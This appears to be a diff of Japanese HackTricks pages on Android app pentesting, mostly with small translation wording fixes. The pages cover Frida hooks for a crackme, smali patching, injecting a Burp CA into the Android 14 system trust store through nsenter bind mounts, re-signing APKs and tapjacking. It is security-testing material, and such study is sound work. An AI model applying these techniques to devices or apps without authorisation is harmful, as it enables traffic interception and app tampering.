特定のJavaクラスの**ライブインスタンス**を検索して印刷します。これは完全修飾クラス名で指定されます。発見されたobjectionの文字列値を取得しようとした結果は、通常**オブジェクトのプロパティ値を含む**ものです。 特定のJavaクラスの**ライブインスタンス**を検索して印刷します。これは完全修飾クラス名で指定されます。発見されたobjectionの文字列値を取得しようとした結果は、通常**オブジェクトのプロパティ値を含む**ものです。
``` ```
android heap print_instances <class> android heap print_instances <class>
``` ```
@ -225,6 +225,4 @@ exit
- インスタンスのクラスを使用してインスタンスの関数を呼び出すことができません。また、新しいインスタンスを作成して関数を呼び出すこともできません。 - インスタンスのクラスを使用してインスタンスの関数を呼び出すことができません。また、新しいインスタンスを作成して関数を呼び出すこともできません。
- アプリケーションで使用されている一般的な暗号メソッドをフックして、暗号化されたテキスト、平文、キー、IV、および使用されているアルゴリズムを見るためのショートカットsslpinninのようなものがありません。 - アプリケーションで使用されている一般的な暗号メソッドをフックして、暗号化されたテキスト、平文、キー、IV、および使用されているアルゴリズムを見るためのショートカットsslpinninのようなものがありません。
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -12,7 +12,7 @@
[https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)に基づく [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)に基づく
**\_exit()**\_関数をフックし、**decrypt function**を使用して、verifyを押したときにフリダコンソールにフラグを表示させます: **\_exit()**\_ 関数をフックし、**decrypt function**を使用して、verifyを押したときにフリダコンソールにフラグを表示させます:
```javascript ```javascript
Java.perform(function () { Java.perform(function () {
send("Starting hooks OWASP uncrackable1...") send("Starting hooks OWASP uncrackable1...")

View File

@ -2,9 +2,9 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
APKをここからダウンロード APKをここからダウンロード:
APKの挙動を確認するために、[https://appetize.io/](https://appetize.io)無料アカウントにAPKをアップロードします APKの挙動を確認するために、[https://appetize.io/](https://appetize.io)無料アカウントにAPKをアップロードします:
![](<../../images/image (421).png>) ![](<../../images/image (421).png>)
@ -12,7 +12,7 @@ APKの挙動を確認するために、[https://appetize.io/](https://appetize.i
[Androidのペンテスト](./)の手順に従って、アプリケーションをデコンパイルしてsmaliコードを取得し、jadxを使用してJavaコードを読むことができます。 [Androidのペンテスト](./)の手順に従って、アプリケーションをデコンパイルしてsmaliコードを取得し、jadxを使用してJavaコードを読むことができます。
Javaコードを読む Javaコードを読む:
![](<../../images/image (495).png>) ![](<../../images/image (495).png>)
@ -22,7 +22,7 @@ Javaコードを読む
### **最初にm()を呼び出す** ### **最初にm()を呼び出す**
変数_this.oが1000000でない場合にアプリケーションがm()を呼び出すようにしましょう。そのためには、条件を変更するだけです 変数_this.oが1000000でない場合にアプリケーションがm()を呼び出すようにしましょう。そのためには、条件を変更するだけです:
``` ```
if-ne v0, v9, :cond_2 if-ne v0, v9, :cond_2
``` ```
@ -38,7 +38,7 @@ if-eq v0, v9, :cond_2
![](<../../images/image (128).png>) ![](<../../images/image (128).png>)
フラグは完全に復号化されずに書き込まれているようです。おそらくm()関数は1000000回呼び出されるべきです。 フラグは完全に復号化されずに書れているようです。おそらくm()関数は1000000回呼び出されるべきです。
**別の方法**は、命令を変更せずに比較される命令を変更することです: **別の方法**は、命令を変更せずに比較される命令を変更することです:
@ -60,6 +60,6 @@ if-eq v0, v9, :cond_2
![](<../../images/image (1090).png>) ![](<../../images/image (1090).png>)
これ物理デバイス内で行う必要があります(なぜかはわかりませんが、エミュレートされたデバイスでは動作しません)。 これ物理デバイス内で行う必要があります(なぜかはわかりませんが、エミュレートされたデバイスでは動作しません)。
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -5,7 +5,7 @@
## 仮想マシンで ## 仮想マシンで
まず最初に、BurpからDer証明書をダウンロードする必要があります。これは_**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_で行えます。 まず最初に、BurpからDer証明書をダウンロードする必要があります。これは_**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_ で行えます。
![](<../../images/image (367).png>) ![](<../../images/image (367).png>)
@ -29,11 +29,11 @@ adb reboot #Now, reboot the machine
## Magiscを使用する ## Magiscを使用する
もし**Magiscでデバイスをルート化した**(エミュレーターかもしれません)場合、**ファイルシステムが読み取り専用**で再マウントできないため、Burp証明書をインストールする前の**手順**に従えない場合、別の方法があります。 デバイスを**Magiscでルート化した**場合(エミュレーターかもしれません)、**前の手順**に従ってBurp証明書をインストールできない場合、**ファイルシステムが読み取り専用**で書き込み可能に再マウントできない場合、別の方法があります。
[**このビデオ**](https://www.youtube.com/watch?v=qQicUW0svB8)で説明されているように、次のことを行う必要があります: [**このビデオ**](https://www.youtube.com/watch?v=qQicUW0svB8)で説明されているように、次のことを行う必要があります:
1. **CA証明書をインストールする**DER Burp証明書を**ドラッグ&ドロップ**して、モバイルで拡張子を`.crt`に変更し、ダウンロードフォルダーに保存し、`証明書をインストール` -> `CA証明書`に進みます。 1. **CA証明書をインストールする**DER Burp証明書を**ドラッグ&ドロップ**し、モバイルで拡張子を`.crt`に**変更**してダウンロードフォルダーに保存し、`証明書をインストール` -> `CA証明書`に進みます。
<figure><img src="../../images/image (53).png" alt="" width="164"><figcaption></figcaption></figure> <figure><img src="../../images/image (53).png" alt="" width="164"><figcaption></figcaption></figure>
@ -41,23 +41,23 @@ adb reboot #Now, reboot the machine
<figure><img src="../../images/image (54).png" alt="" width="334"><figcaption></figcaption></figure> <figure><img src="../../images/image (54).png" alt="" width="334"><figcaption></figcaption></figure>
2. **システム信頼にする**Magiscモジュール[MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts).zipファイルをダウンロードし、**ドラッグ&ドロップ**して電話に入れ、電話の**Magicsアプリ**の**`モジュール`**セクションに進み、**`ストレージからインストール`**をクリックし、`.zip`モジュールを選択してインストール後に**再起動**します: 2. **システム信頼にする**Magiscモジュール[MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts).zipファイルをダウンロードし、**ドラッグ&ドロップ**して電話に移動し、電話の**Magicsアプリ**の**`モジュール`**セクションに行き、**`ストレージからインストール`**をクリックし、`.zip`モジュールを選択してインストール後に**再起動**します:
<figure><img src="../../images/image (55).png" alt="" width="345"><figcaption></figcaption></figure> <figure><img src="../../images/image (55).png" alt="" width="345"><figcaption></figcaption></figure>
- 再起動後、`信頼できる資格情報` -> `システム`に進み、Postswigger証明書があることを確認します。 - 再起動後、`信頼できる資格情報` -> `システム`に進み、Postswigger証明書がそこにあることを確認します。
<figure><img src="../../images/image (56).png" alt="" width="314"><figcaption></figcaption></figure> <figure><img src="../../images/image (56).png" alt="" width="314"><figcaption></figcaption></figure>
## Android 14以降 ## Android 14以降
最新のAndroid 14リリースでは、システム信頼の証明書機関CA証明書の取り扱いに大きな変化が見られました。以前は、これらの証明書は**`/system/etc/security/cacerts/`**に格納されており、ルート権限を持つユーザーによってアクセスおよび変更可能で、システム全体に即座に適用されていました。しかし、Android 14では、保存場所が**`/apex/com.android.conscrypt/cacerts`**に移動され、**`/apex`**パス内のディレクトリであり、本質的に不変です。 最新のAndroid 14リリースでは、システム信頼の証明書機関CA証明書の取り扱いに大きな変化が見られました。以前は、これらの証明書は**`/system/etc/security/cacerts/`**に格納されており、ルート権限を持つユーザーによってアクセスおよび変更可能で、システム全体に即座に適用されていました。しかし、Android 14では、ストレージの場所が**`/apex/com.android.conscrypt/cacerts`**に移動され、**`/apex`**パス内のディレクトリであり、本質的に不変です。
**APEX cacertsパス**を読み取り可能に再マウントしようとすると失敗し、システムはそのような操作を許可しません。一時ファイルシステムtmpfsでディレクトリをアンマウントまたはオーバーレイしようとする試みも不変性を回避できず、アプリケーションはファイルシステムレベルでの変更に関係なく元の証明書データにアクセスし続けます。この耐性は、**`/apex`**マウントがPRIVATE伝播で構成されているためであり、**`/apex`**ディレクトリ内の変更が他のプロセスに影響を与えないことを保証します。 **APEX cacertsパス**を読み書き可能に再マウントしようとすると、システムがそのような操作を許可しないため、失敗します。一時ファイルシステムtmpfsでディレクトリをアンマウントまたはオーバーレイしようとする試みも不変性を回避できず、アプリケーションはファイルシステムレベルでの変更に関係なく元の証明書データにアクセスし続けます。この耐性は、**`/apex`**マウントがPRIVATE伝播で構成されているためであり、**`/apex`**ディレクトリ内の変更が他のプロセスに影響を与えないことを保証します。
Androidの初期化には`init`プロセスが関与し、オペレーティングシステムを起動すると同時にZygoteプロセスも開始されます。このプロセスは、新しいマウントネームスペースを持つアプリケーションプロセスを起動する責任があり、プライベートな**`/apex`**マウントを含むため、このディレクトリへの変更を他のプロセスから隔離します。 Androidの初期化には`init`プロセスが関与しており、オペレーティングシステムを起動すると同時にZygoteプロセスも開始されます。このプロセスは、新しいマウントネームスペースを持つアプリケーションプロセスを起動する責任があり、プライベートな**`/apex`**マウントを含むため、このディレクトリへの変更を他のプロセスから隔離します。
それでも、**`/apex`**ディレクトリ内のシステム信頼のCA証明書を変更する必要がある場合の回避策があります。これは、PRIVATE伝播を削除するために**`/apex`**を手動で再マウントし、書き込み可能にすることを含みます。このプロセスには、**`/apex/com.android.conscrypt`**の内容を別の場所にコピーし、読み取り専用制約を排除するために**`/apex/com.android.conscrypt`**ディレクトリをアンマウントし、その後、内容を**`/apex`**内の元の場所に復元することが含まれます。このアプローチは、システムクラッシュを避けるために迅速な行動を必要とします。これらの変更をシステム全体に適用するためには、`system_server`を再起動することが推奨され、これによりすべてのアプリケーションが再起動され、システムが一貫した状態に戻ります。 それでも、**`/apex`**ディレクトリ内のシステム信頼のCA証明書を変更する必要がある場合の回避策があります。これは、PRIVATE伝播を削除するために**`/apex`**を手動で再マウントし、書き込み可能にすることを含みます。このプロセスには、**`/apex/com.android.conscrypt`**の内容を別の場所にコピーし、読み取り専用制約を排除するために**`/apex/com.android.conscrypt`**ディレクトリをアンマウントし、その後、内容を**`/apex`**内の元の場所に復元することが含まれます。このアプローチは、システムクラッシュを避けるために迅速な行動を必要とします。これらの変更をシステム全体に適用するためには、`system_server`を再起動することが推奨されており、これによりすべてのアプリケーションが再起動され、システムが一貫した状態に戻ります。
```bash ```bash
# Create a separate temp directory, to hold the current certificates # Create a separate temp directory, to hold the current certificates
# Otherwise, when we add the mount we can't read the current certs anymore. # Otherwise, when we add the mount we can't read the current certs anymore.
@ -121,18 +121,18 @@ echo "System certificate injected"
```bash ```bash
mount -t tmpfs tmpfs /system/etc/security/cacerts mount -t tmpfs tmpfs /system/etc/security/cacerts
``` ```
2. **CA証明書の準備**: 書き込み可能なディレクトリのセットアップに続いて、使用するCA証明書をこのディレクトリにコピーする必要があります。これには、`/apex/com.android.conscrypt/cacerts/`からデフォルトの証明書をコピーすることが含まれる場合があります。これらの証明書の権限とSELinuxラベルを適切に調整することが重要です。 2. **CA証明書の準備**: 書き込み可能なディレクトリのセットアップに続いて、使用する予定のCA証明書をこのディレクトリにコピーする必要があります。これには、`/apex/com.android.conscrypt/cacerts/`からデフォルトの証明書をコピーすることが含まれる場合があります。これらの証明書の権限とSELinuxラベルを適切に調整することが重要です。
3. **Zygoteのバインドマウント**: `nsenter`を使用して、Zygoteのマウントネームスペースに入ります。ZygoteはAndroidアプリケーションを起動するプロセスであり、以降に起動されるすべてのアプリケーションが新しく構成されたCA証明書を利用することを保証するためにこのステップが必要です。使用されるコマンドは: 3. **Zygoteのバインドマウント**: `nsenter`を使用して、Zygoteのマウントネームスペースに入ります。ZygoteはAndroidアプリケーションを起動するプロセスであり、以降に起動されるすべてのアプリケーションが新しく構成されたCA証明書を利用することを保証するためにこのステップが必要です。使用されるコマンドは:
```bash ```bash
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
``` ```
これにより、開始されるすべての新しいアプリが更新されたCA証明書の設定に従うことが保証されます。 これにより、新しく開始されるすべてのアプリが更新されたCA証明書の設定に従うことが保証されます。
4. **実行中のアプリへの変更の適用**: すでに実行中のアプリケーションに変更を適用するには、`nsenter`を再度使用して各アプリの名前空間に個別に入り、同様のバインドマウントを実行します。必要なコマンドは: 4. **実行中のアプリへの変更の適用**: に実行中のアプリケーションに変更を適用するには、`nsenter`を再度使用して各アプリの名前空間に個別に入り、同様のバインドマウントを実行します。必要なコマンドは:
```bash ```bash
nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
``` ```
5. **代替アプローチ - ソフトリブート**: 代替手法は、`init`プロセスPID 1でバインドマウントを実行し、その後に`stop && start`コマンドでオペレーティングシステムをソフトリブートすることを含みます。このアプローチは、すべてのネームスペースに変更を伝播させ、各実行中のアプリを個別に対処する必要を回避します。しかし、この方法はリブートの不便さから一般的にはあまり好まれません。 5. **代替アプローチ - ソフトリブート**: 代替手法は、`init`プロセスPID 1でバインドマウントを行い、その後`stop && start`コマンドでオペレーティングシステムをソフトリブートすることす。このアプローチは、すべてのネームスペースに変更を伝播させ、各実行中のアプリを個別に対処する必要を回避します。しかし、この方法はリブートの不便さから一般的にはあまり好まれません。
## 参考文献 ## 参考文献

View File

@ -41,6 +41,6 @@
![](../../images/img12.png) ![](../../images/img12.png)
最後に、**新しいアプリケーションに署名する**必要があります。[署名する方法については、ページのこのセクションをお読みください Smali - Decompiling/\[Modifying\]/Compiling](smali-changes.md#sing-the-new-apk)。 最後に、**新しいアプリケーションに署名する**必要があります。[署名する方法については、このページのセクション Smali - Decompiling/\[Modifying\]/Compiling を読んでください](smali-changes.md#sing-the-new-apk)。
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -8,7 +8,7 @@
**オブフスケートされたコード**に対処する際、オブフスケーションの性質に応じていくつかの戦略を採用できます: **オブフスケートされたコード**に対処する際、オブフスケーションの性質に応じていくつかの戦略を採用できます:
- **DEXバイトコード (Java)**: 効果的なアプローチの一つは、アプリケーションのデオブフスケーションメソッドを特定し、次にこれらのメソッドをJavaファイルに複製することです。このファイルを実行して、ターゲット要素のオブフスケーションを逆転させます。 - **DEXバイトコード (Java)**: 効果的なアプローチの一つは、アプリケーションのデオブフスケーションメソッドを特定し、これらのメソッドをJavaファイルに複製することです。このファイルを実行して、ターゲット要素のオブフスケーションを逆転させます。
- **Javaおよびネイティブコード**: 別の方法は、デオブフスケーションアルゴリズムをPythonのようなスクリプト言語に翻訳することです。この戦略は、主な目標はアルゴリズムを完全に理解することではなく、効果的に実行することにあることを強調しています。 - **Javaおよびネイティブコード**: 別の方法は、デオブフスケーションアルゴリズムをPythonのようなスクリプト言語に翻訳することです。この戦略は、主な目標はアルゴリズムを完全に理解することではなく、効果的に実行することにあることを強調しています。
### **オブフスケーションの特定** ### **オブフスケーションの特定**
@ -21,7 +21,7 @@
## **デオブフスケーションにおける動的分析** ## **デオブフスケーションにおける動的分析**
制御された環境でコードを実行することにより、動的分析は**オブフスケートされたコードがリアルタイムでどのように動作するかを観察することを可能にします**。この方法は、コードの真の意図を隠すように設計された複雑なオブフスケーションパターンの内部動作を明らかにするのに特に効果的です。 制御された環境でコードを実行することにより、動的分析は**オブフスケートされたコードがリアルタイムでどのように動作するかを観察することを可能にします**。この方法は、コードの真の意図を隠すために設計された複雑なオブフスケーションパターンの内部動作を明らかにするのに特に効果的です。
### **動的分析の応用** ### **動的分析の応用**
@ -35,6 +35,6 @@
- BlackHat USA 2018: “Unpacking the Packed Unpacker: Reverse Engineering an Android Anti-Analysis Library” \[[video](https://www.youtube.com/watch?v=s0Tqi7fuOSU)] - BlackHat USA 2018: “Unpacking the Packed Unpacker: Reverse Engineering an Android Anti-Analysis Library” \[[video](https://www.youtube.com/watch?v=s0Tqi7fuOSU)]
- この講演では、Androidアプリケーションによって使用される最も複雑なアンチ分析ネイティブライブラリの一つを逆エンジニアリングする方法について説明します。主にネイティブコードにおけるオブフスケーション技術を扱っています。 - この講演では、Androidアプリケーションによって使用される最も複雑なアンチ分析ネイティブライブラリの一つを逆エンジニアリングする方法について説明します。主にネイティブコードにおけるオブフスケーション技術を扱っています。
- REcon 2019: “The Path to the Payload: Android Edition” \[[video](https://recon.cx/media-archive/2019/Session.005.Maddie_Stone.The_path_to_the_payload_Android_Edition-J3ZnNl2GYjEfa.mp4)] - REcon 2019: “The Path to the Payload: Android Edition” \[[video](https://recon.cx/media-archive/2019/Session.005.Maddie_Stone.The_path_to_the_payload_Android_Edition-J3ZnNl2GYjEfa.mp4)]
- この講演では、Androidボットネットがその動作を隠すために使用していたJavaコード内の一連のオブフスケーション技術について説明します。 - この講演では、Androidボットネットがその動作を隠すために使用していたJavaコード内の一連のオブフスケーション技術について説明します。
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -4,7 +4,7 @@
**詳細情報は次を確認してください:** [**https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html) **詳細情報は次を確認してください:** [**https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html)
Androidアプリは、パフォーマンスが重要なタスクのために通常CまたはC++で書かれたネイティブライブラリを使用します。マルウェア作成者もこれらのライブラリを使用します。なぜなら、DEXバイトコードよりもリバースエンジニアリングが難しいからです。このセクションは、アセンブリ言語を教えるのではなく、Androidに特化したリバースエンジニアリングスキルを強調しています。互換性のためにARMおよびx86バージョンのライブラリが提供されています。 Androidアプリは、パフォーマンスが重要なタスクのために通常CまたはC++で書かれたネイティブライブラリを使用します。マルウェア作成者もこれらのライブラリを使用します。なぜなら、DEXバイトコードよりもリバースエンジニアリングが難しいからです。このセクションは、アセンブリ言語を教えるのではなく、Androidに特化したリバースエンジニアリングスキルを強調しています。互換性のためにARMおよびx86バージョンのライブラリが提供されています。
### 重要なポイント: ### 重要なポイント:
@ -17,9 +17,9 @@ Androidアプリは、パフォーマンスが重要なタスクのために通
- JNIはJavaメソッドをネイティブコードで実装することを可能にします。 - JNIはJavaメソッドをネイティブコードで実装することを可能にします。
- NDKはネイティブコードを書くためのAndroid特有のツールセットです。 - NDKはネイティブコードを書くためのAndroid特有のツールセットです。
- JNIとNDKはJavaまたはKotlinコードとネイティブライブラリを橋渡しします。 - JNIとNDKはJavaまたはKotlinコードとネイティブライブラリを橋渡しします。
- **ライブラリの読み込みと実行:** - **ライブラリのロードと実行:**
- ライブラリは`System.loadLibrary`または`System.load`を使用してメモリに読み込まれます。 - ライブラリは`System.loadLibrary`または`System.load`を使用してメモリにロードされます。
- JNI_OnLoadはライブラリの読み込み時に実行されます。 - JNI_OnLoadはライブラリのロード時に実行されます。
- Javaで宣言されたネイティブメソッドはネイティブ関数にリンクし、実行を可能にします。 - Javaで宣言されたネイティブメソッドはネイティブ関数にリンクし、実行を可能にします。
- **Javaメソッドとネイティブ関数のリンク:** - **Javaメソッドとネイティブ関数のリンク:**
- **動的リンク:** ネイティブライブラリ内の関数名は特定のパターンに一致し、自動リンクを可能にします。 - **動的リンク:** ネイティブライブラリ内の関数名は特定のパターンに一致し、自動リンクを可能にします。
@ -27,12 +27,12 @@ Androidアプリは、パフォーマンスが重要なタスクのために通
- **リバースエンジニアリングツールと技術:** - **リバースエンジニアリングツールと技術:**
- GhidraやIDA Proなどのツールはネイティブライブラリの分析に役立ちます。 - GhidraやIDA Proなどのツールはネイティブライブラリの分析に役立ちます。
- `JNIEnv`はJNI関数と相互作用を理解するために重要です。 - `JNIEnv`はJNI関数と相互作用を理解するために重要です。
- ライブラリの読み込み、メソッドのリンク、ネイティブ関数の特定を練習するための演習が提供されています。 - ライブラリのロード、メソッドのリンク、ネイティブ関数の特定を練習するための演習が提供されています。
### リソース: ### リソース:
- **ARMアセンブリの学習:** - **ARMアセンブリの学習:**
- 基本的なアーキテクチャの理解を深めるために推奨されます。 - 基礎となるアーキテクチャを深く理解するために推奨されます。
- Azeria Labsの[ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/)が推奨されています。 - Azeria Labsの[ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/)が推奨されています。
- **JNIとNDKのドキュメント:** - **JNIとNDKのドキュメント:**
- [OracleのJNI仕様](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html) - [OracleのJNI仕様](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html)

View File

@ -2,9 +2,9 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
時には、隠された情報(おそらく非常に難読化されたパスワードやフラグにアクセスするためにアプリケーションコードを修正することが興味深い場合があります。そのため、apkをデコンパイルし、コードを修正して再コンパイルすることが興味深いかもしれません。 時には、隠された情報(おそらくよく難読化されたパスワードやフラグにアクセスするためにアプリケーションコードを修正することが興味深い場合があります。そのため、apkをデコンパイルし、コードを修正して再コンパイルすることが興味深いかもしれません。
**オコードリファレンス:** [http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html](http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html) **オコードリファレンス:** [http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html](http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html)
## 簡単な方法 ## 簡単な方法
@ -22,15 +22,15 @@ apktool d APP.apk
あなたが見るべき**興味深いファイルは**次の通りです: あなたが見るべき**興味深いファイルは**次の通りです:
- _res/values/strings.xml_およびres/values/*内のすべてのxml - _res/values/strings.xml_およびres/values/\*内のすべてのxml
- _AndroidManifest.xml_ - _AndroidManifest.xml_
- 拡張子が_.sqlite_または_.db_のファイル - 拡張子が_.sqlite_または_.db_のファイル
もし`apktool`が**アプリケーションのデコードに問題がある**場合は、[https://ibotpeaches.github.io/Apktool/documentation/#framework-files](https://ibotpeaches.github.io/Apktool/documentation/#framework-files)を確認するか、**`-r`**(リソースをデコードしない)という引数を使てみてください。その後、問題がリソースにあり、ソースコードにない場合は、問題が発生しません(リソースもデコンパイルされません)。 もし`apktool`が**アプリケーションのデコードに問題がある**場合は、[https://ibotpeaches.github.io/Apktool/documentation/#framework-files](https://ibotpeaches.github.io/Apktool/documentation/#framework-files)を確認するか、**`-r`**(リソースをデコードしない)という引数を使用してみてください。その後、問題がリソースにあり、ソースコードにない場合は、問題が発生しません(リソースもデコンパイルされません)。
## Smaliコードの変更 ## Smaliコードの変更
あなたは**命令を変更**したり、いくつかの変数の**値を変更**したり、新しい命令を**追加**することができます。私は[**VS Code**](https://code.visualstudio.com)を使てSmaliコードを変更します。その後、**smalise拡張機能**をインストールすると、エディタが**命令が不正であるかどうか**を教えてくれます。\ あなたは**命令を変更**したり、いくつかの変数の**値を変更**したり、新しい命令を**追加**することができます。私は[**VS Code**](https://code.visualstudio.com)を使用してSmaliコードを変更します。その後、**smalise拡張機能**をインストールすると、エディタが**命令が不正である**かどうかを教えてくれます。\
いくつかの**例**はここにあります: いくつかの**例**はここにあります:
- [Smali変更の例](smali-changes.md) - [Smali変更の例](smali-changes.md)
@ -50,7 +50,7 @@ apktool b . #In the folder generated when you decompiled the application
### **新しいAPKに署名する** ### **新しいAPKに署名する**
次に、**キーを生成する**必要があります(パスワードといくつかの情報をランダムに入力するよう求められます): 次に、**キーを生成**する必要があります(パスワードといくつかの情報をランダムに入力するよう求められます):
```bash ```bash
keytool -genkey -v -keystore key.jks -keyalg RSA -keysize 2048 -validity 10000 -alias <your-alias> keytool -genkey -v -keystore key.jks -keyalg RSA -keysize 2048 -validity 10000 -alias <your-alias>
``` ```
@ -67,7 +67,7 @@ zipalign -v 4 infile.apk
``` ```
### **新しいAPKに署名する再度** ### **新しいAPKに署名する再度**
もしあなたが**apksigner**を使用することを**好む**場合、**最適化を適用した後にapkに署名する必要があります**。ただし、**アプリケーションには一度だけ署名する必要があることに注意してください**zipalignの前にjarsignerでまたはzipalignの後にaspsignerで もしあなたが**apksigner**を使用することを**好む**場合、**最適化を適用した後にapkに署名する必要があります**。ただし、**アプリケーションには一度だけ署名する必要があることに注意してください**。jarsignerzipalignの前またはaspsignerzipalignの後で署名してください
```bash ```bash
apksigner sign --ks key.jks ./dist/mycompiled.apk apksigner sign --ks key.jks ./dist/mycompiled.apk
``` ```

View File

@ -16,13 +16,13 @@
- デバイスの**設定**に移動します。 - デバイスの**設定**に移動します。
- **アプリ**または**アプリケーションマネージャー**に進みます(デバイスによって異なる場合があります)。 - **アプリ**または**アプリケーションマネージャー**に進みます(デバイスによって異なる場合があります)。
- アプリのリストから**Google Playストア**を見つけて選択します。 - アプリのリストから**Google Playストア**を見つけて選択します。
- **強制停止**をタップしてアプリの実行中のプロセスを終了します。 - アプリの実行中のプロセスを終了するために**強制停止**をタップします。
- 次に、**データを消去**または**ストレージを消去**(正確な表現は異なる場合があります)をタップしてGoogle Playストアアプリを初期状態にリセットします。 - 次に、Google Playストアアプリをデフォルトの状態にリセットするために**データをクリア**または**ストレージをクリア**(正確な表現は異なる場合があります)をタップします。
4. **制限されたアプリケーションにアクセス:** 4. **制限されたアプリケーションにアクセス:**
- **Google Playストア**を開きます。 - **Google Playストア**を開きます。
- ストアは、VPNを介して接続した国のコンテンツを反映するはずです。 - ストアは、VPNを介して接続した国のコンテンツを反映するはずです。
- 実際の位置では以前は利用できなかったアプリケーションを検索してインストールできるようになります。 - 実際の位置では以前は利用できなかったアプリケーションを検索してインストールできるはずです。
### 重要な注意事項: ### 重要な注意事項:

View File

@ -4,7 +4,7 @@
## **基本情報** ## **基本情報**
**Tapjacking** は、**悪意のある** **アプリケーション** が起動し、**被害者アプリケーションの上に位置する** 攻撃です。被害者アプリが視覚的に隠されると、そのユーザーインターフェースはユーザーを騙してそれと対話させるように設計されており、同時にその対話を被害者アプリに渡します。\ **Tapjacking** は、**悪意のある** **アプリケーション** が起動し、**被害者アプリケーションの上に位置する** 攻撃です。被害者アプリが視覚的に隠されると、そのユーザーインターフェースはユーザーを騙してそれに対話させるように設計されており、その間にその対話を被害者アプリに渡します。\
実際には、**ユーザーが実際に被害者アプリでアクションを実行していることを知らないようにしています**。 実際には、**ユーザーが実際に被害者アプリでアクションを実行していることを知らないようにしています**。
### 検出 ### 検出
@ -23,8 +23,8 @@
#### **`setFilterTouchesWhenObscured`** #### **`setFilterTouchesWhenObscured`**
属性 **`setFilterTouchesWhenObscured`** をtrueに設定することでも、この脆弱性の悪用を防ぐことができます。\ 属性 **`setFilterTouchesWhenObscured`** を true に設定することでも、この脆弱性の悪用を防ぐことができます。\
例えば、**`true`** に設定されている場合、ボタンは自動的に**隠されている場合無効化される**ことがあります: 例えば、**`true`** に設定されている場合、ボタンは自動的に**隠されている場合無効化される**ことがあります:
```xml ```xml
<Button android:text="Button" <Button android:text="Button"
android:id="@+id/button1" android:id="@+id/button1"
@ -50,11 +50,11 @@ android:filterTouchesWhenObscured="true">
> [!CAUTION] > [!CAUTION]
> このプロジェクトは現在メンテナンスされていないようで、この機能は正しく動作していないようです > このプロジェクトは現在メンテナンスされていないようで、この機能は正しく動作していないようです
`--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` パラメータを使用して[**qark**](https://github.com/linkedin/qark)を使用する、可能な**Tapjacking**脆弱性をテストするための悪意のあるアプリケーションを作成できます。\ `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` パラメータを使用して[**qark**](https://github.com/linkedin/qark)を使用すると、可能な**Tapjacking**脆弱性をテストするための悪意のあるアプリケーションを作成できます。\
緩和策は比較的簡単で、開発者は別のビューに覆われているときにタッチイベントを受け取らないことを選択できます。[Android Developers Reference](https://developer.android.com/reference/android/view/View#security)を使用すると: 緩和策は比較的簡単で、開発者は別のビューに覆われているときにタッチイベントを受け取らないことを選択できます。[Android Developers Reference](https://developer.android.com/reference/android/view/View#security)を使用すると:
> アプリケーションがユーザーの完全な知識と同意のもとでアクションが実行されていることを確認ることが重要な場合があります。たとえば、権限リクエストの承認、購入の実行、広告のクリックなどです。残念ながら、悪意のあるアプリケーションは、ビューの意図された目的を隠すことによって、ユーザーを騙してこれらのアクションを無意識に実行させようとする可能性があります。これに対する対策として、フレームワークは、機密機能へのアクセスを提供するビューのセキュリティを向上させるために使用できるタッチフィルタリングメカニズムを提供します。 > アプリケーションがユーザーの完全な知識と同意のもとでアクションが実行されていることを確認できることが重要な場合があります。たとえば、権限リクエストの承認、購入の実行、広告のクリックなどです。残念ながら、悪意のあるアプリケーションは、ビューの意図された目的を隠すことによって、ユーザーを騙してこれらのアクションを無意識に実行させようとする可能性があります。これに対する対策として、フレームワークは、機密機能へのアクセスを提供するビューのセキュリティを向上させるために使用できるタッチフィルタリングメカニズムを提供します。
> >
